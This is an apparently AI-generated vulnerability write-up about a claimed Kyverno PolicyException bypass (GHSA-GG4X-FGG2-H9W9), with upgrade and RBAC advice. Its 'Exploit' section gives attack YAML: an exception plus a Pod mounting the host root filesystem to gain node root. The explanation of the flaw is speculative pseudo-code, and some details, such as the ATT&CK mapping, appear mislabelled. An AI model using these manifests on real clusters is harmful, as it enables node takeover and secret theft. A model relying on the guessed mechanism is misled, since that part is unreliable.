CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-GG4X-FGG2-H9W9

Double Jeopardy: Bypassing Kyverno Policies via Exception Logic Flaws

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 26, 2026·6 min read·22 visits

Executive Summary (TL;DR)

Kyverno versions 1.9.0 through 1.12.7 contain a logic bug where defining multiple PolicyExceptions for a single policy causes the enforcement engine to fail open. Attackers with permissions to create exceptions (or leverage existing ones) can bypass critical security controls.

A critical logic flaw in the Kyverno policy engine for Kubernetes allows attackers to completely bypass security policies by introducing multiple overlapping PolicyException resources. This vulnerability essentially turns the 'most restrictive' security model on its head, permitting malicious payloads (like hostPath mounts) simply because the admission controller gets confused by the presence of a second exception.

The Hook: When "Safe" is Just a Suggestion

Kubernetes policy management is usually a choice between learning the esoteric arts of Rego (OPA Gatekeeper) or using something that feels more 'native' like Kyverno. Kyverno is popular because it's just YAML. You write a policy, you apply it, and suddenly your developers can't deploy containers running as root. It feels safe. It feels warm. But here's the cold, hard truth: complexity in security tools is like gravity—it's always there, pulling you down.

GHSA-GG4X-FGG2-H9W9 is a beautiful disaster in logic. It attacks the very mechanism designed to make life easier: the PolicyException. In the real world, absolute security is impossible, so we build backdoors for the admins—exceptions. "Block all root containers... except for the monitoring agent." It sounds reasonable until you realize that how the engine counts those exceptions matters more than the policy itself.

This isn't a buffer overflow. There's no shellcode here. This is purely a failure of the admission controller to make up its mind when faced with two contradictory or overlapping instructions. It's the digital equivalent of asking Mom for permission, getting a 'No', then asking Dad, and while they argue, you walk out the door with the car keys.

The Flaw: The Confusion of Crowds

The vulnerability lies in how Kyverno (versions 1.9.0 to 1.12.7) evaluates PolicyException resources when the cluster is in enforce mode. The logic was designed to check if a pending resource request matches an exception. If it does, the blocking policy is skipped. Simple, right?

The problem arises when multiple exceptions apply to the context. In a robust system, the logic should be: "If any valid exception fully covers this request, allow it. Otherwise, enforce the policy." However, Kyverno's aggregation logic had a short-circuit flaw. When multiple exceptions were present—perhaps one specific exception for a namespace and another global exception, or two overlapping exceptions—the engine's evaluation loop became inconsistent.

Specifically, the presence of a second PolicyException could effectively 'dilute' the enforcement. The engine might evaluate the first exception (which doesn't match the attacker's payload), but the mere processing of the second exception—even if it was broadly defined or unrelated—could trigger a state where the original policy enforcement was skipped. It's a classic race condition of logic, not time. The engine sees two potential paths to 'allow' and somehow forgets to check the 'deny' gate effectively.

The Code: Logic Failure in Go

While the exact diff is masked behind the massive v1.13.0 release, the conceptual failure looks like a breakdown in the boolean logic of the admission chain. Imagine a simplified pseudo-code block representing the vulnerable logic:

// Vulnerable Logic Pattern
func checkExceptions(policy Policy, resource Resource, exceptions []Exception) Decision {
    for _, ex := range exceptions {
        if match(ex, resource) {
            return Allow // Short-circuit on first match
        }
        // ... internal state confusion ...
    }
    // If the loop completes with multiple partial matches, 
    // older versions sometimes defaulted unsafe.
    return Enforce
}

The critical issue is the Incomplete Aggregation. If Exception A is restrictive (e.g., "Allow image X in namespace Y") and Exception B is loose or malformed, the evaluator might prioritize the less restrictive path or fail to apply the specific constraints of the policy because the existence of Exception B effectively resets the validation context.

The fix in v1.13.0 rewrites this aggregation. It likely enforces a strict 'deny-by-default' unless a specific, unambiguous exception allows the action, regardless of how many other irrelevant exceptions exist in the cluster. They moved from a fuzzy match list to a strict validation chain.

The Exploit: Bypassing the bouncer

Let's weaponize this. Assume you are an attacker with edit rights in a namespace, but the cluster admin has locked down everything with a strict disallow-host-path policy. You want to mount /etc/kubernetes from the host to steal the admin's kubeconfig.

The Setup

  1. Target Policy: disallow-host-path (Enforce mode).
  2. Existing Exception: The admin already created exception-monitoring to let Datadog mount host paths.

The Attack Chain

If you have permissions to create PolicyException resources (which is often overlooked in RBAC), or if you can manipulate labels to match a second dormant exception:

  1. Inject the Noise: Create a second PolicyException named exception-bypass-attempt. This exception doesn't even need to be perfectly crafted to match your payload. It just needs to target the same policy.

    apiVersion: kyverno.io/v2alpha1
    kind: PolicyException
    metadata:
      name: exception-bypass-attempt
      namespace: default
    spec:
      exceptions:
      - policyName: disallow-host-path
        ruleNames: ["host-path"]
      match:
        any:
        - resources:
            kinds:
            - Pod
  2. Trigger the Logic Flaw: Deploy your malicious Pod.

    apiVersion: v1
    kind: Pod
    metadata:
      name: pwn-host
    spec:
      containers:
      - name: shell
        image: ubuntu
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
  3. Execution: The Admission Controller sees the policy disallow-host-path. It checks for exceptions. It sees exception-monitoring (no match) AND exception-bypass-attempt. Due to the double exception flaw, the admission controller falters, defaults to Allow, and your Pod schedules. You now have root access to the node.

The Impact: Why this is a 9.1

A CVSS score of 9.1 isn't handed out lightly. The impact here is Integrity and Confidentiality collapse. If a policy engine cannot enforce policies, it is worse than useless—it gives a false sense of security.

Scope Change (S:C) is the kicker here. By exploiting this in one namespace, I can deploy a privileged container that compromises the underlying Node. Once I compromise the Node, I can potentially steal secrets from other namespaces, access the cloud metadata service (IMDS), or pivot to the control plane.

This vulnerability renders your entire PodSecurityStandard implementation void. If you relied on Kyverno to enforce PCI-DSS compliance (e.g., preventing privileged containers), you are now non-compliant. The vulnerability doesn't require complex memory manipulation or race conditions; it just requires the Kubernetes API and the ability to confuse the referee.

The Fix: Upgrade or Die

There is no clever configuration hack to fix a binary logic error. You need to replace the brain of the operation.

  1. Upgrade: Move to Kyverno v1.13.0 immediately. This version refactors the exception handling logic to correctly aggregate multiple exception resources.
  2. Audit: While you wait for the upgrade to rollout, run the following command to see if you are currently exposed to "Double Exceptions":
    kubectl get policyexceptions -A
    If you see multiple exceptions targeting the same policy/rule, you are in the danger zone.
  3. RBAC Lockdown: Ensure developers do NOT have create/update permissions on policyexceptions.kyverno.io. This resource is as powerful as ClusterRoleBinding and should be guarded just as jealously.

Official Patches

KyvernoKyverno v1.13.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
9.1/ 10
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

Kubernetes Clusters using KyvernoKyverno Admission Controller

Affected Versions Detail

Product
Affected Versions
Fixed Version
Kyverno
Kyverno
>= 1.9.0, <= 1.12.71.13.0
AttributeDetail
Attack VectorAdjacent Network (Kubernetes API)
CVSS Score9.1 (Critical)
CWECWE-693 (Protection Mechanism Failure)
ImpactSecurity Policy Bypass
Exploit StatusPoC Available
Affected Versionsv1.9.0 - v1.12.7

MITRE ATT&CK Mapping

T1565.002Endpoint Denial of Service: Application or System Exploitation
Impact
T1068Exploitation for Privilege Escalation
Privilege Escalation
T1484Domain Policy Modification
Defense Evasion
CWE-693
Protection Mechanism Failure

Protection Mechanism Failure

Known Exploits & Detection

PulsePatchAnalysis of the double exception bypass logic.

Vulnerability Timeline

Kyverno v1.13.0 Released (Silent Fix)
2024-10-30
GHSA-GG4X-FGG2-H9W9 Published
2026-01-05
Added to Go Vulnerability Database
2026-01-12

References & Sources

  • [1]GitHub Advisory GHSA-GG4X-FGG2-H9W9
  • [2]Kyverno Policy Exceptions Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•33 minutes ago•GHSA-7CX2-G3H9-382P
8.1

GHSA-7CX2-G3H9-382P: Multiple Vulnerabilities in Crawl4AI Docker API (Arbitrary File Write, SSRF, CRLF Log Injection)

An in-depth technical analysis of multiple security vulnerabilities in the self-hosted Docker API server of Crawl4AI up to version 0.8.7. These flaws include a critical arbitrary file write via symlink traversal and TOCTOU weakness, CRLF log injection, webhook header injection, and SSRF filter gaps. These have been remediated in version 0.8.8.

Alon Barad
Alon Barad
2 views•6 min read
•about 1 hour ago•GHSA-F989-C77F-R2CQ
8.2

GHSA-f989-c77f-r2cq: LLM Credential Exfiltration and SSRF in Crawl4AI Docker Server

A technical evaluation of the Crawl4AI open-source web crawling and scraping library revealed a high-severity credential exfiltration vulnerability in its self-hosted Dockerized API server. The flaw arises from an unvalidated base_url parameter in request payloads and a dynamic prefix resolution mechanism that retrieves system environment variables. Unauthenticated remote attackers can leverage these features in tandem to extract host-level secrets or redirect configured LLM API keys to an external listener under their control.

Amit Schendel
Amit Schendel
4 views•6 min read
•about 1 hour ago•GHSA-365W-HQF6-VXFG
9.8

GHSA-365w-hqf6-vxfg: Multiple Critical Vulnerabilities in Crawl4AI Docker API Server

The Crawl4AI Docker API server, in versions 0.8.6 and prior, contains multiple critical vulnerabilities including improper path sanitization, missing authentication on administration routes, hardcoded JWT secrets, and SSRF. These vulnerabilities allow remote, unauthenticated attackers to write arbitrary files, execute arbitrary code, and pivot into private cloud environments.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 4 hours ago•GHSA-534H-C3CW-V3H9
5.5

GHSA-534h-c3cw-v3h9: Local Information Disclosure via Abstract-Namespace Socket in Nuxt Dev Server

A local security vulnerability in the Nuxt development server (nuxt dev) allows local unprivileged users to access sensitive configuration files and source code. On Linux environments running Node.js 20+, Nuxt bound its internal vite-node IPC server to an abstract-namespace Unix socket without any peer authentication, enabling co-resident local users to connect and request module code directly.

Amit Schendel
Amit Schendel
4 views•5 min read
•about 5 hours ago•GHSA-8RFP-98V4-MMR6
0.0

GHSA-8RFP-98V4-MMR6: Protocol-Filtering Bypass via Unicode Obfuscation in Mozilla Bleach

Mozilla Bleach is an open-source HTML sanitizing library for Python. Versions up to and including 6.3.0 contain an incomplete filtering implementation in the URI validation logic ('sanitize_uri_value'). This logic fails to detect disallowed protocols, such as 'javascript:', if they contain Unicode invisible characters, whitespace characters, or characters with a code point greater than U+00A0. While standard-compliant web browsers do not directly execute invalid URI schemes containing these non-standard characters, downstream systems that normalize Unicode text by stripping invisible or non-ASCII characters can unintentionally reactivate the 'javascript:' prefix, causing Cross-Site Scripting (XSS). Additionally, this behavior violates Bleach's core sanitization contract by outputting URIs that bypass protocol allowlists configured by the caller.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 6 hours ago•GHSA-G75F-G53V-794X
4.3

GHSA-G75F-G53V-794X: CPU Exhaustion via Unbounded Email Regular Expression Scanning in Bleach

An uncontrolled resource consumption vulnerability exists in the Python package Bleach when parsing text to linkify email addresses. When `parse_email=True` is enabled, the regular expression engine is forced into a quadratic-time complexity scan on specially crafted payloads lacking an '@' symbol. This causes immediate CPU exhaustion and blocks application server worker processes.

Amit Schendel
Amit Schendel
4 views•6 min read